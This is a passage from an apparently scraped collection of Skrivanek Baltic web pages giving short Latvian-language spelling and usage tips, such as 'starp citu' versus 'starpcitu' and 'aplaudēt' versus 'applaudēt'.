prasmes. Šķiet, ierīces mūsu prātā jau pārņēmušas pasauli, un par to noteikti liecina arī neskaitāmie personifikācijas piemēri mārketingā. Nu, ko: mums atliek vien prasmīgi vadīt prasmīgu auto. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Teiksim „Starpcitu, šī ir brīnišķīga diena!” vai „Starp citu, šī ir brīnišķīga diena!”? Kā pareizi raksta šo iespraudumu? Uzzini atbildi! - Published: 2017-11-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/starpcitu-vai-starp-citu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional STARPCITU VAI STARP CITU 1 Vai teiksim „Starpcitu, šī ir brīnišķīga diena! ” vai „Starp citu, šī ir brīnišķīga diena! ”? Latviešu valodā ir iespraudums „starp citu”, ko raksta atsevišķi divos vārdos un ko lieto, lai norādītu uz to, kas nav galvenais. Jāatceras, ka šo iespraudumu atdala ar komatiem. Vārda „starpcitu” latviešu valodā nav. Kļūdainais rakstījums, visticamāk, radies vārdus „starp citu” ar dzirdi uztverot kā vienu vārdu, nevis kā divus atsevišķus vārdus. Tātad varam izsaukties un pierakstīt „Starp citu, šī ir brīnišķīga diena! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Birojā pie loga ir mūsu darbavieta vai darba vieta? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/darba-vieta-pret-darbavieta/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DARBA VIETA PRET DARBAVIETA 1 Vai birojā pie loga ir mūsu darbavieta vai darba vieta? Vārdu savienojumu „darba vieta” lietojam, kad runājam par vietu, kurā strādājam, piemēram, „mana darba vieta ir otrajā stāvā”. Vārdu „darbavieta” lieto, runājot par uzņēmumu, iestādi, kurā strādājam algotu darbu: „mana jaunā darbavieta ir veikals „Rīma”. ” Tātad mana darbavieta ir uzņēmums, kurā mana darba vieta ir ēkas trešajā stāvā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ar ko atšķiras cipars no skaitļa? Ieskaties un uzzini! Citi noderīgi latviešu valodas padomi. Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/cipars-pret-skaitlis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CIPARS PRET SKAITLIS 1 „Cipars” ir grafiska zīme skaitļa pierakstīšanai, piemēram, arābu cipari (0, 1, 2, 3, 4, 5, 6, 7, 8, 9), romiešu cipari ( I, II, III, IV, V, VI u. c. ). „Skaitlis” ir jēdziens, kas izsaka daudzumu, skaitu un ko lieto, skaitot kādus objektus, un rakstiski apzīmē ar ciparu un ciparu kopu, piemēram, 100 (simts) ir trīsciparu skaitlis. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2025-01-27 - URL: https://skrivanek.lv/dzivnieki-tai-skaita-lapsas-un-ezi-ir-skaisti-pret-dzivnieki-tai-skaita-lapsas-un-ezi-ir-skaisti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DZĪVNIEKI, TAI SKAITĀ LAPSAS UN EŽI, IR SKAISTI PRET DZĪVNIEKI, TAI SKAITĀ, LAPSAS UN EŽI, IR SKAISTI 1 Vai iespraudums „tai skaitā” ar komatiem atdalāms no abām pusēm? Vārdu savienojums „tai skaitā” norāda, ka iepriekš nosauktajā grupā vai kopumā, piemēram, dzīvnieki, iekļaujas un to papildus paskaidro turpmāk nosauktais, piemēram, lapsas un eži. Šī papildinformācija aiz nosauktās grupas ir paskaidrojošo vārdu grupa, kuru ievada iespraudums un kura ir jāatdala no pārējā teikuma ar komatiem. Pats iespraudums no šīs grupas ar komatu gan nav jāatdala. Tātad rakstīsim šādi: dzīvnieki, tai skaitā lapsas un eži, ir skaisti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dzersim ananasu sulu vai ananāsu sulu? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-11-10 - Modified: 2024-07-10 - URL: https://skrivanek.lv/ananass-pret-ananass/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ANANASS PRET ANANĀSS 1 Vai dzersim ananasu sulu vai ananāsu sulu? Tropu augs ar lieliem, sulīgiem, aromātiskiem čiekurveida augļiem, kā arī šī auga auglis ir ananass. Vārds aizgūts no portugāļu valodas vārda „ananas”, kurā tas, domājams, ienācis no gvaranu valodas. Latviešu valodā tas rakstāms ar īso patskani „a”. Tātad pirksim ananasus, dzersim ananasu sulu un našķēsimies ar konservētiem ananasiem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vakance var būt brīva? Uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2017-11-10 - Modified: 2025-03-12 - URL: https://skrivanek.lv/briva-vakance-pret-vakance/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BRĪVA VAKANCE PRET VAKANCE 1 Vai vakance var būt brīva? Vārds „vakance” ienācis latviešu valodā no vācu valodas vārda „Vakanz”. Tas cēlies no latīņu vārda „vacans” ar nozīmi ‘tukšs, brīvs’. Latviešu valodā vārds „vakance” nozīmē ‘neaizņemts amats, brīva darbavieta’. Tātad, ja vārdu „vakance” lietojam kopā ar „brīva”, tā ir liekvārdība. Tātad uzņēmums var izsludināt mājaslapas administratora vakanci, mēs varam pieteikties pārdevēja vakancei utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sarunvalodā to mēdzam dēvēt par šūplādi – vai tā ir atvilktne vai atvilktne? Ieskaties un uzzini atbildi! Noderīgi latviešu valodas padomi! - Published: 2017-11-10 - Modified: 2025-03-24 - URL: https://skrivanek.lv/atvilkne-pret-atvilktne/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATVILKNE VAI ATVILKTNE 1 Sarunvalodā to mēdzam dēvēt par šūplādi – vai tā ir atvilktne vai atvilktne? Izvelkamu kasti mēbelēs sauksim par atvilktni. Vārds „atvilktne” veidots no darbības vārda „atvilkt”, tam pievienojot izskaņu „-ne”, līdzīgi veidoti arī tādi vārdi kā „izkārtne”, „patvertne”. Tātad aizslēdzamās atvilktnēs glabāsim vērtības, rakstāmgalda atvilktnēs liksim dokumentus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-08-14 - URL: https://skrivanek.lv/skolnieki-pret-skoleni/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKOLNIEKI PRET SKOLĒNI 1 Vai skolā mācās skolēni vai tikai skolnieki? Ar vārdu „skolēni” apzīmē visus skolas audzēkņus un audzēknes, piemēram, „Visiem 3. klases skolēniem jāierodas pie direktora! ” Šo vārdu varam lietot arī vienskaitlī, apzīmējot kādu nenoteiktu skolēnu: „No katras klases jāierodas vienam skolēnam. ” Vārdu „skolnieki” attiecina tikai uz skolas audzēkņiem, nevis audzēknēm, piemēram, „5. klases skolniekiem jāierodas uz zēnu kora atlasi. ” Arī vienskaitlī ar vārdu „skolnieks” tiek apzīmēts viens audzēknis, piemēram, „7. klases skolnieks Jānis plūc laurus amatnieku konkursā”, savukārt ar vārdu „skolniece” – viena audzēkne: „5. klases skolniece Maija demonstrē pašas šūtos svārkus. ” Tātad vispārizglītojošajās skolās mācās skolēni, skolniekiem un skolniecēm ir jāpilda atšķirīgas prasības sporta stundās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kādi darbi veicami ar lupatu un kādi – ar pildspalvu? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-11-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/majas-darbs-pret-majasdarbs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MĀJAS DARBS PRET MĀJASDARBS 1 Kādi darbi veicami ar lupatu un kādi – ar pildspalvu? Par mājasdarbiem sauc vingrinājumus, kuri skolēnam jāizpilda ārpus mācību stundām. Savukārt par mājas darbiem dēvējam tos darbus, ko veicam savās mājās, savu māju labā: par mājas darbu dēvēsim putekļu slaucīšanu, grīdu mazgāšanu. Tātad skolēni pilda mājasdarbus matemātikā un regulāri veic kādu mājas darbu – sakārto istabu, nomazgā traukus u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai koncertā applaudēsim vai aplaudēsim? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2025-01-16 - URL: https://skrivanek.lv/aplaudet-pret-applaudet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APLAUDĒT PRET APPLAUDĒT 1 Vai koncertā applaudēsim vai aplaudēsim? Nereti darbības vārds „aplaudēt” tiek kļūdaini rakstīts ar diviem līdzskaņiem „p”, droši vien domājot, ka šajā vārdā lietots priedēklis „ap-” kā vārdos „applīst”, „apprecēt”, „appūst”. Aplaudēt nozīmē sist plaukstas, lai paustu atzinību, sajūsmu, mudinājumu u. tml. Šajā darbības vārdā priedēkļa „ap-” nav, tāpēc vārds rakstāms ar vienu „p”. Tātad, mums aplaudējot, skanēs aplausi! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vēlēšanas ir vispārējas vai vispārīgas? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-09-02 - URL: https://skrivanek.lv/visparigs-pret-visparejs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VISPĀRĪGS PRET VISPĀRĒJS 1 Vai vēlēšanas ir vispārējas vai vispārīgas? „Vispārīgs” ir pretstats konkrētajam – tāds, kas saistās ar nedetalizētām, plašām, būtiskām, vispārējām īpašībām, pazīmēm, sakariem, attieksmēm. Piemēram, vispārīgā valodniecība pēta valodas būtību, valodas funkcijas, valodu uzbūves universālās iezīmes u. tml. , savukārt konkrētā valodniecība pēta atsevišķu valodu vai valodu grupu. Sporta kluba vispārīgie noteikumi attiecas uz sporta klubu kopumā, bet var būt atsevišķi noteikumi, kas jāievēro konkrētā zālē vai lietojot konkrētu inventāru. „Vispārējs” – tāds, kas attiecas uz daudziem vai visiem, arī visu, tāds, kas aptver daudzus vai visus, arī visu. Piemēram, Vispārējos latviešu dziesmu un deju svētkos ir dalībnieki no visas Latvijas, vispārējā tautas skaitīšana nozīmē, ka notiek visas valsts iedzīvotāju datu vākšana. Tātad varam vispārīgi raksturot vispārējo vēlēšanu rezultātus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Mutiskie tulkojumi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Vairāki Skrivanek latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-07-08 - URL: https://skrivanek.lv/nilzirgs-pret-behemots-pret-begemots-pret-hipopotams/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NĪLZIRGS PRET BEHEMOTS, PRET BEGEMOTS, PRET HIPOPOTAMS 1 Vai pareizi būs „nīlzirgs”, „behemots”, „begemots” vai varbūt „hipopotams”? Vārds „behemots” latviešu valodā ienācis no krievu valodas. Vārds „бегемот” savukārt aizgūts no senebreju vārda „behēmot”. Tā kā krievu valodā šis vārds rakstāms un izrunājams ar līdzskani „g”, nevis „h”, latviešu valodā ieviesusies kļūdainā forma „begemots”. Vārds „hipopotams” cēlies no nīlzirgu ģints nosaukuma „Hippopotamus” latīņu valodā (grieķu „hippopotamos” ‘upes zirgs’), latviešu valodā šis vārds ir novecojis. Lai apzīmētu šo masīvo Āfrikas pārnadžu kārtas zīdītāju ar kailu ādu bez apmatojuma, vislabāk lietot latviešu valodas vārdu „nīlzirgs”. Tātad skatīsimies raidījumus par nīlzirgiem, iesim aplūkot nīlzirgus zoodārzā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai grāmatas tulko tulks vai tulkotājs? Ieskaties un uzzini atbildi! Šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-11-10 - Modified: 2025-04-23 - URL: https://skrivanek.lv/tulkotajs-pret-tulks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TULKOTĀJS VAI TULKS 1 Vai 